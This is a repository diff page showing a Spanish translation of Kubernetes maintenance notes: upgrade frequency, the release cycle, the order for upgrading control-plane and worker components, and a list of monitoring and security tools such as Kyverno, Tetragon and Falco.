||||
Debe actualizar su entorno de Kubernetes con la frecuencia necesaria para tener:
|
||||
|
||||
- Dependencias actualizadas.
|
||||
- Correcciones de errores y parches de seguridad.
|
||||
- Parches de errores y de seguridad.
|
||||
|
||||
[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Cada 3 meses hay una nueva versión menor -- 1.20.3 = 1(mayor).20(menor).3(parche)
|
||||
[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Cada 3 meses hay una nueva versión menor -- 1.20.3 = 1(Major).20(Minor).3(patch)
|
||||
|
||||
**La mejor manera de actualizar un Kubernetes Cluster es (desde** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
|
||||
**La mejor manera de actualizar un clúster de Kubernetes es (desde** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
|
||||
|
||||
- Actualiza los componentes del nodo maestro siguiendo esta secuencia:
|
||||
- Actualice los componentes del Master Node siguiendo esta secuencia:
|
||||
- etcd (todas las instancias).
|
||||
- kube-apiserver (todos los hosts del plano de control).
|
||||
- kube-apiserver (todos los hosts del control plane).
|
||||
- kube-controller-manager.
|
||||
- kube-scheduler.
|
||||
- cloud controller manager, si lo usas.
|
||||
- Actualiza los componentes de los nodos de trabajo, como kube-proxy y kubelet.
|
||||
- cloud controller manager, si usa uno.
|
||||
- Actualice los componentes de los Worker Node como kube-proxy, kubelet.
|
||||
|
||||
## Monitoreo y seguridad de Kubernetes:
|
||||
|
||||
- Kyverno Policy Engine
|
||||
- Cilium Tetragon - Observabilidad de seguridad basada en eBPF e imposición en tiempo de ejecución
|
||||
- Cilium Tetragon - Observabilidad de seguridad basada en eBPF y aplicación en tiempo de ejecución
|
||||
- Políticas de seguridad de red
|
||||
- Falco - Monitoreo y detección de seguridad en tiempo de ejecución
|
||||
|
||||
|
||||
Reference in New Issue
Block a user